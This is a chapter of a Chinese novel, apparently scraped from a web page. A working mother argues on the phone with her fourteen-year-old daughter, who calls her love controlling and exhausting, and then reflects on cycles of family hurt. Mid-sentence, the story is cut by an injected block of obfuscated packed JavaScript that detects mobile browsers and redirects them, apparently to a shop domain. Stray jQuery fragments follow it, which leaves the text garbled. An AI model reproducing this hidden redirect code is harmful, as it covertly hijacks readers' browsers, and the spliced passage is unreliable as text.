林小满第二天还是去上班了。
早上七点起床，洗脸刷牙，换衣服，出门。跟平时一样。公交上人挤人，她被挤在角落里，抓着扶手，看着窗外绿油油的树木一片一片过去。
手机掏出来看了三次。
没有消息。
女儿没发。前婆婆也没发。
她忍着没问。
到了公司，打卡，开电脑，回微信。跟平时一样。同事跟她说话，她嗯嗯啊啊地应，其实根本没听进去。
中午吃饭，她一个人坐在工位上，对着盒饭发呆。
盒饭是楼下买的，两荤一素，十五块。她吃了两口，吃不下了。
拿起手机，翻到女儿的微信，盯着那个头像看了很久。
头像是女儿自己的照片，比着剪刀手，笑得挺好看。
她打了几个字，又删掉。
再打几个字，又删掉。
最后只发了一条：吃饭了吗？
等了十分钟，没回。
她又发：在奶奶那儿好好的，别惹事。
还是没回。
她把手机扣在桌上，强迫自己吃饭。吃一口，看一眼手机。吃一口，看一眼。
下午开会，她坐在那儿，一句话都没听进去。领导点名问她意见，她愣了一下，说“我同意”。旁边人看了她一眼，没说话。
下班的时候，天已经黑了。
她坐公交回家，顺便也买了点菜，想着万一女儿回来，还能做饭。
到家，开门，开灯。
屋里空空的。
她把菜放进冰箱，换了拖鞋，坐在沙发上。
手机掏出来，还是没有消息。
她深吸一口气，拨了电话。
响了很久，那边接了。
“喂？”
是女儿的声音，懒懒的，像刚睡醒。
“是我。”
“我知道。”
沉默了几秒。
“在奶奶那儿呢？”
“嗯。”
“吃饭了吗？”
“吃了。”
“吃的啥？”
“随便吃的。”
林小满握着手机，不知道该说什么。她想问你怎么还不回来，想问你想不想妈妈，想问你是不是还在生气。但她问不出口。
“你……什么时候回来？”
那边沉默了一会儿。
“不知道。”
“什么叫不知道？”
“就是不知道。”
林小满的火气一下就上来了。
“你什么意思？不打算回来了？”
“我没说不回来。”
“那你什么时候回来？”
“我说了不知道。”
“不知道不知道，你什么都不知道！你跑出去的时候怎么知道跑？现在问你就不知道了？”
那边没说话。
林小满喘着气，握着手机的手都在抖。
她知道自己不该发火。她打电话的时候跟自己说了无数遍，好好说话，别发火，别骂人。但一开口，那些话就自己往外冒，根本控制不住。
“喂？”
没声音。
“说话！”
“说什么？我说什么你都要骂。”
林小满愣住了。
“我没骂你。”
“你没骂？你刚才不是在骂？”
“我那是……那是着急。”
“着急就能骂人？”
林小满张了张嘴，没说出话来。
那边继续说。
“你每次都这样。明明是你打电话来的，明明是你问我话的，我好好回答，你就开始骂。骂完又说你没骂。我都不想跟你说话。”
林小满的眼眶红了。
“我……”
“你什么你？你知道我为什么不回去吗？就因为跟你说话太累了。说什么你都要管，说什么你都要骂。我不想回去。”
“你不想回来？你才十四岁，你不想回来你去哪？”
“我去哪都行，就是不想在你身边。”
林小满的眼泪下来了。
“你怎么能这么说？”
“我说错了吗？你问问你自己，你对我好过吗？”
“我怎么对你不好？我天天加班赚钱，给你交学费买衣服买手机，你要什么我没给？”
“我要的不是这些。”
“那你要什么？”
那边沉默了。
“你要什么你倒是说啊！”
“我说了你听得进去吗？”
“你说！”
又沉默了几秒。
“我要你陪我。”
林小满愣住了。
“我每天放学回来，家里都是空的。你给我留饭，在桌上放着，你人呢？在加班。周末我想出去玩，你说你要加班。我想让你陪我看个电影，你说你要加班。我生病了，一个人在家躺着，你给我打电话说多喝热水，你人呢？在加班。”
林小满张了张嘴，说不出话。
“你以为给我买东西就是对我好？你以为给我钱就是爱我？我要的不是那些。我要你陪我。我要你在我身边。我要你像别的妈妈那样，放学来接我，周末带我出去玩，晚上陪我说说话。”
“可是我……”
“可是你要加班。我知道。你说了八百遍了。你加班是为了我。你赚钱是为了我。你累成这样也是为了我。所以你就可以不管我了？所以我就要感激你了？”
林小满的眼泪流得满脸都是。
“我不是这个意思……”
“那你是什么意思？你告诉我，你是什么意思？”
她答不上来。
她不知道该怎么答。
她只知道她拼命工作，拼命赚钱，就是为了让女儿过上好日子。她不想让女儿跟她小时候一样，吃不饱穿不暖，想要什么都要忍着。
但她从来没想过，女儿要的不是那些。
“妈。”
女儿的声音突然变了，变得很轻。
“你知道我最想要什么吗？”
林小满握着手机，说不出话。
“我最想要的，是你别把我当成你小时候。”
林小满浑身一震。
“你小时候没妈疼，所以你想把所有的爱都给我。但你知道吗，你给我的是爱吗？是控制。你什么都管我，什么都替我决定，什么都不让我自己做。你怕我走你的老路，所以你把我关在笼子里。”
“我没有……”
“你有。你从来不问我想什么，只告诉你应该怎么想。你从来不问我想要什么，只给我你觉得我需要的。你把我当成你小时候，你想把那些你当年没得到的东西都塞给我。但我不需要那些。”
林小满的眼泪止不住地流。
“我需要你陪我。需要你听我说话。需要你把我当个人，不是你的附属品。你懂吗？”
她不懂。
她真的不懂。
她只知道她拼命爱她，拼了命地爱她，比爱自己还爱她。
但女儿说这不是爱。
是控制。
“喂？”
“……”
“妈？”
她张了张嘴，发出一点声音。
“我在。”
那边沉默了几秒。
“我不跟你说了。说多了你又生气。”
“我没生气。”
“你刚才就在生气。”
“我不是生气，我是……”
是什么？她不知道。
她只知道心里堵得慌，堵得喘不上气。
“妈。”
“嗯？”
“你去看过心理医生吗？”
她愣住了。
“什么？”
“心理医生。你该去看看。”
“我为什么要看心理医生？”
“因为你不对劲。”
她听着这话，不知道该哭还是该笑。
她女儿，十四岁，说她不对劲，让她去看心理医生。
“我没病。”
“我没说你有病。我是说，你该找个人聊聊。你心里装了太多东西了。”
“我心里有什么？”
“你自己知道。”
她不说话了。
她心里有什么？
她心里有十五岁那年的事。有周深。有火车站。有派出所。有三万彩礼。有一个人养孩子的那些年。有奶奶走的那天。有无数个加班的夜晚，无数个累到想哭但忍住没哭的瞬间。
她心里有太多东西了。
多到装不下。
但她从来没跟任何人说过。
她不知道怎么跟人说。
说了有什么用？谁替她扛？
“妈。”
“嗯？”
“我知道你爱我。”
林小满的眼泪又下来了。
“但你的爱，太累了。”
电话挂了。
她握着手机，坐在沙发上，一动不动。
眼泪一直流，流到嘴角，咸的。
她没擦。
窗外路灯亮了，黄黄的光透进来，在地上画出一个模糊的方块。
她就那么坐着，坐到天完全黑下来，坐到屋里什么都看不见。
手机又震了一下。
她拿起来看，是女儿发的：我周五回去。你别担心。
她盯着这几个字，盯了很久。
然后她回：好。
把手机放下，继续坐着。
脑子里全是刚才那些话。
“你把我当成你小时候。”
“你把那些你当年没得到的东西都塞给我。”
“我不需要那些。”
“你的爱，太累了。”
她想起很多年前，她也跟奶奶说过类似的话。
那时候奶奶给她买东西，买手机买平板买衣服，她说我不要这些，我要你陪我。奶奶说我要赚钱，不赚钱怎么给你买？她说我不要你买，我要你陪我。
奶奶那时候的表情，她没看见。
她把自己关在屋里，没看。
现在她知道了。
奶奶那时候，跟她现在一样。
都是拼命想给，但给错了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347235|199532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
东西。
都是拼命想爱，但不会爱。
她站起来，走到女儿房间门口，推开门。
屋里黑黑的，什么都看不清。她开了灯，站在门口，看着那张床，那张书桌，那个衣柜。
床单是她上周换的，淡粉色，女儿自己挑的。书桌上摆着课本、笔记本、笔筒，还有一张照片。照片是她们俩的，去年暑假去海边玩，别人帮她们拍的。女儿搂着她，笑得很好看。
她走过去，拿起那张照片，看了很久。
那时候女儿还小，还愿意搂着她。
那时候她们还没吵成这样。
她把照片放回去，转身出来，把门关上。
回到客厅，坐下。
手机又震了。
这回是女儿发的第二条：你别多想。我就是想静静。
她看着这行字，不知道该回什么。
最后只回了一个字：嗯。
放下手机，继续坐着。
她想了很多。
想女儿说的那些话，想自己这些年做的事，想奶奶当年是怎么对她的，想她是怎么对女儿的。
想着想着，她明白了一件事。
她以为她能避免女儿的悲剧，是因为她经历过，她知道什么是对什么是错。
但她错了。
经历过的人，不一定知道怎么避免。
因为她自己就是那个悲剧本身。
她身上带着那个悲剧的所有痕迹，所有伤痕，所有毛病。她再怎么努力，那些东西都在。会在她不注意的时候冒出来，会在她控制不住的时候爆发，会让她变成她最不想变成的那种人。
基因。
不是生理上的基因，是命运上的基因。
你妈怎么对你，你就怎么对你女儿。
你奶奶怎么对你妈，你妈就怎么对你。
一代一代，传下去。
她想打破这个循环。
但她发现，循环不是你想打破就能打破的。
它在你骨头里，在血里，在每一声控制不住的吼叫里，在每一句脱口而出的责骂里。
你不想发火，但你发了。
你不想控制，但你控了。
你不想变成她，但你已经是了。
林小满把脸埋进手里。
肩膀抖得厉害。
但她没出声。
她只是坐在那儿，在黑黑的客厅里，在黄黄的路灯光里，一个人。
想着她女儿，十四岁，在别人家里。
想着她女儿说的那些话，一句一句，像刀子。
想着她女儿周五会回来。
回来之后呢？
还会吵吗？
还会跑吗？
还会说她的爱太累吗？
她不知道。
她只知道，她得学着改。
学着控制脾气，学着听她说话，学着把她当个人，不是自己的附属品。
但她不知道能不能学会。
她从来没学过这个。
没人教过她。
她拿起手机，翻到女儿的微信，打了很久的字。
打了删，删了打。
最后只发了一条：周五我去接你。
等了一会儿，那边回：不用，我自己回。
她看着这行字，想了想，又发：那我在家等你。
那边回：嗯。
她放下手机，站起来，走到窗边，看着外面的路灯。
路灯黄黄的，照着一小片地。有个人骑着电动车过去，影子拉得很长。
她看着那个影子，想起很多年前，她也这样看着窗外。
那时候她在等奶奶回来。
奶奶去赶集，说给她买糖葫芦。
她等了一下午，等到天黑，等到路灯亮起来。
奶奶回来了，没买到糖葫芦。卖糖葫芦的今天没来。
她哭了。
不是想吃糖葫芦，是觉得奶奶说话不算话。
奶奶抱着她，说下次，下次一定买。
下次真的买了。
她吃着那串糖葫芦，又甜又酸。
现在她想，奶奶那时候是不是也这样，站在窗边，等过她？
等她放学，等她回家，等她从那扇门里走进来？
应该是等过的。
但她从来没注意过。
她只知道自己的事，不知道奶奶的。
就像现在，她女儿只知道自己的事，不知道她的。
一代一代。
循环。
林小满从窗边回来，坐到沙发上，拿起手机，又看了一遍那些聊天记录。
女儿说：你的爱太累了。
她看着这行字，看了很久。
然后她回了一条：妈妈在学。
等了几分钟，那边没回。
她又发：学怎么爱你。
还是没回。
她把手机放下，闭上眼睛。
眼泪又流下来。
但她没睁眼。
就那么坐着，在黑黑的客厅里，在黄黄的路灯光里，一个人。
等着周五。